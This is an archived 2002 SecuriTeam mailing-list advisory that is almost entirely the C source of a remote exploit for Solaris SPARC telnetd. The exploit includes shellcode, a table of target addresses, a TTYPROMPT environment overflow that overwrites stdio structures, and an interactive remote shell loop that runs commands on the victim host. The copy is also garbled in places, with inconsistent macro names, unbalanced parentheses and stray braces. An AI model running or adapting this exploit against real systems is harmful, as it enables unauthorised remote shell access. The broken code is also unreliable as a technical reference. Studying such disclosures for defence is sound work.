

# [EXPL] Remote Exploit Code for Solaris SPARC TelnetD

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0077.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/21/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 21 Aug 2002 15:05:07 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Remote Exploit Code for Solaris SPARC TelnetD

---

## SUMMARY

The following exploit code is a remote exploit for TelnetD for the Solaris SPARC operating system. It can be used by administrators to confirm whether they are vulnerable or not.

## DETAILS

Exploit:

```
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/telnet.h>
```

```
#ifdef SOLARIS
```

```
typedef unsigned long u_int32_t;
```

```
#endif
```

## Securiteam: [EXPL] Remote Exploit Code for Solaris SPARC TelnetD

```
#define BUFLLEN 1024

char shellcode[]=
"\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0"
"\x90\x23\xa0\x10\x94\x23\x80\xe0\xd0\x23\xbf\xe0\xd4\x23\xbf\xe4"
"\x92\x23\xa0\x20\x82\x12\xa0\x3b\x91\xd0\x20\x08";

struct {
    char *name;
    unsigned long in_addr;
    unsigned long out_addr;
} targets[] = {
    { "Solaris 8/SPARC local proof of concept", 0xff1bd538, 0xff1b7028 },
    { "Solaris 2.7/SPARC local proof of concept", 0xff1bb23c, 0xff1b4a44
},
    { "Solaris 2.6/SPARC local proof of concept", 0xff6a91f0, 0xef6a323c
},
    { "Solaris 2.5.1/SPARC local proof of concept", 0xff61bfe8, 0xef615144
},
    { "Solaris 2.7/SPARC remote darkside shit", 0xff1bb150, 0xff1b4c90 },
    { "Solaris 2.7/SPARC remote darkside shit II", 0xff1b4cc0, 0xff1b4c90
},
    { "Solaris 2.7/SPARC remote darkside shit III", 0xff1b5950, 0xff1b5920
},
    { "Solaris 8/SPARC remote darkside shit", 0xff1bd44c, 0xff1b7247},
    { "Solaris 8/SPARC remote darkside shit II", 0xff1b9480, 0xff1b9450 },
    { NULL, 0 }
};

void usage(char *p)
{
    int i;

    fprintf(stderr, "usage: %s [-t type] [-p port] [-o offset] <host>\n",
p);
    fprintf(stderr, "-t: target type (see below)\n");
    fprintf(stderr, "-p: port to use (default: 23)\n");
    fprintf(stderr, "-o: offset to use (default: 0)\n\n");

    fprintf(stderr, "Target Types:\n");
    for(i = 0; targets[i].name; i++)
        fprintf(stderr, "%d) %s %.8x %.8x\n", i, targets[i].name,
targets[i].in_addr, targets[i].out_addr);

    fprintf(stderr, "\n");
    exit(0);
}

void die(char *msg)
{
    perror(msg);
}
```

## Securiteam: [EXPL] Remote Exploit Code for Solaris SPARC TelnetD

```
    exit(errno);
}

u_int32_t get_ip(char *host)
{
    struct hostent *hp;

    if(!(hp = gethostbyname(host)){
        fprintf(stderr, "cannot resolve %s\n", host);
        return(0);
    }
    return(*(u_int32_t *)hp->h_addr_list[0]);
}

int get_socket(char *target, int port)
{
    int sock;
    u_int32_t ip;
    struct sockaddr_in sin;

    if(!(ip = get_ip(target)))
        return(0);

    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = ip;

    if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        die("socket");
    if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        die("connect");
    return(sock);
}

void send_wont(int sock, int option)
{
    char buf[3], *ptr=buf;

    *ptr++ = IAC;
    *ptr++ = WONT;
    *ptr++ = (unsigned char)option;
    if(write(sock, buf, 3) < 0)
        die("write");
    return;
}

void send_will(int sock, int option)
{
    char buf[3], *ptr=buf;
```

## Securiteam: [EXPL] Remote Exploit Code for Solaris SPARC TelnetD

```
*ptr++ = IAC;
*ptr++ = WILL;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
    die("write");
return;
}

void send_do(int sock, int option)
{
    char buf[3], *ptr=buf;

    *ptr++ = IAC;
    *ptr++ = DO;
    *ptr++ = (unsigned char)option;
    if(write(sock, buf, 3) < 0)
        die("write");
    return;
}

void send_env(int sock, char *name, char *value)
{
    char buf[BUFLEN], *ptr = buf;

    *ptr++ = IAC;
    *ptr++ = SB;
    *ptr++ = TELOPT_NEW_ENVIRON;
    *ptr++ = TELQUAL_IS;
    *ptr++ = NEW_ENV_VAR;
    strncpy(ptr, name, BUFLEN-20);
    ptr += strlen(ptr);
    *ptr++ = NEW_ENV_VALUE;
    strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
    ptr += strlen(ptr);
    *ptr++ = IAC;
    *ptr++ = SE;

    if(write(sock, buf, (ptr - buf)) < 0)
        die("write");
    return;
}

void do_negotiate(int sock)
{
    send_wont(sock, TELOPT_TTYPE);
    send_wont(sock, TELOPT_NAWS);
    send_wont(sock, TELOPT_LFLOW);
    send_wont(sock, TELOPT_LINEMODE);
    send_wont(sock, TELOPT_XDISPLOC);
    send_will(sock, TELOPT_LFLOW);
    send_will(sock, TELOPT_LINEMODE);
}
```

## Securiteam: [EXPL] Remote Exploit Code for Solaris SPARC TelnetD

```
send_wont(sock, TELOPT_OLD_ENVIRON);
send_will(sock, TELOPT_NEW_ENVIRON);
send_will(sock, TELOPT_BINARY);
send_env(sock, "TTYPROMPT", shellcode);
return;
}

void write_attack_buf(int sock, int type)
{
    char *attack_buf, *outbuf;
    int i, j;
#ifdef SOLARIS
    char tmpbuf[64];
#endif

    if(!(attack_buf = (char *)calloc(BUFLEN*3, 1)))
        die("malloc");
    if(!(outbuf = (char *)calloc(BUFLEN*6, 1))){
        free(attack_buf);
        die("malloc");
    }
    if(write(sock, attack_buf, strlen(attack_buf)) < 0)
        die("write");

    memset(attack_buf+100, '\t', 80);

    /* ---- stdio FILE structure, top of _iob -- */

#ifdef SOLARIS

    *(long *)&tmpbuf[0] = htonl((unsigned long)0x00000000);
    *(long *)&tmpbuf[4] = htonl((unsigned long)targets[type].in_addr);
    *(long *)&tmpbuf[8] = htonl((unsigned long)targets[type].in_addr);
    *(long *)&tmpbuf[12] = htonl((unsigned long)0x05000000);

    *(long *)&tmpbuf[16] = htonl((unsigned long)0x00000001);
    *(long *)&tmpbuf[20] = htonl((unsigned long)targets[type].out_addr);
    *(long *)&tmpbuf[24] = htonl((unsigned long)targets[type].out_addr);
    *(long *)&tmpbuf[28] = htonl((unsigned long)0x4201000a);

    memcpy(&attack_buf[2055], tmpbuf, 32);
#else

    *(long *)&attack_buf[2055] = htonl((unsigned long)0x00000000);
    *(long *)&attack_buf[2059] = htonl((unsigned
long)targets[type].in_addr);
    *(long *)&attack_buf[2063] = htonl((unsigned
long)targets[type].in_addr);
    *(long *)&attack_buf[2067] = htonl((unsigned long)0x05000000);
```

## Securiteam: [EXPL] Remote Exploit Code for Solaris SPARC TelnetD

```
* (long *)&attack_buf[2071] = htonl((unsigned long)0x00000001);
*(long *)&attack_buf[2075] = htonl((unsigned
long)targets[type].out_addr);
*(long *)&attack_buf[2079] = htonl((unsigned
long)targets[type].out_addr);
*(long *)&attack_buf[2083] = htonl((unsigned long)0x4201000a);

#endif
/* -- IAC stuffing, so telnetd doesn't decide to negotiate -- */
for(i = 0, j = 0; i < 3000; i++){
    outbuf[j++] = attack_buf[i];
    if(attack_buf[i] == '\xff')
        outbuf[j++] = '\xff';
    if(attack_buf[i] == '\n')
        break;
}

if(write(sock, outbuf, j) < 0)
    die("write");

/* -- 2 reads for reading the garbage which screws up term -- */
if((j = read(sock, attack_buf, BUFLen)) < 0)
    die("read");
if((j = read(sock, attack_buf, BUFLen)) < 0)
    die("read");

free(attack_buf);
free(outbuf);
return;
}

int main(int argc, char **argv)
{
    int c, n, sockfd, type = 0, offset=0, port = 23;
    char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
    fd_set rset;

    while((c = getopt(argc, argv, "t:o:p:")) != EOF){
        switch(c){
            case 't':
                type = atoi(optarg);
                if(type < 0 || type > sizeof(targets)){
                    fprintf(stderr, "invalid target type\n");
                    usage(argv[0]);
                }
            case 'o':
                offset = atoi(optarg);
                break;
            case 'p':
                port = atoi(optarg);
                break;
        }
    }
}
```

## Securiteam: [EXPL] Remote Exploit Code for Solaris SPARC TelnetD

```
    }  
  }  
  
  if(!argv[optind] || !*argv[optind])  
    usage(argv[0]);  
  if(!(sockfd = get_socket(argv[optind], port)))  
    exit(-1);  
  do_negotiate(sockfd);  
  
  n = read(sockfd, buf, sizeof(buf));  
  write_attack_buf(sockfd, type);  
  send_wont(sockfd, TELOPT_BINARY);  
  sleep(1);  
  read(sockfd, buf, sizeof(buf));  
  write(sockfd, shellstr, strlen(shellstr));  
  
  FD_ZERO(&rset);  
  for(;;){  
    FD_SET(0, &rset);  
    FD_SET(sockfd, &rset);  
    if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)  
      die("select");  
  
    if(FD_ISSET(sockfd, &rset)){  
      bzero(buf, sizeof(buf));  
      if((n = read(sockfd, buf, sizeof(buf))) < 0)  
        die("read");  
      if(n == 0){  
        printf("EOF\n");  
        exit(0);  
      }  
      write(1, buf, n);  
    }  
  
    if(FD_ISSET(0, &rset)){  
      bzero(buf, sizeof(buf));  
      if((n = read(0, buf, sizeof(buf))) < 0)  
        die("read");  
      if(n == 0)  
        exit(0);  
      write(sockfd, buf, n);  
    }  
  }  
}
```

### ADDITIONAL INFORMATION

The information has been provided by Anonymous.

=====

Securiteam: [EXPL] Remote Exploit Code for Solaris SPARC TelnetD

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[\[UNIX\] Manti's Bug Listings of Private Projects Can be Viewed Through Cookie Manipulation](#)"
  - **Messages sorted by:** [\[ date \] \[ thread \] \[ subject \] \[ author \] \[ attachment \]](#)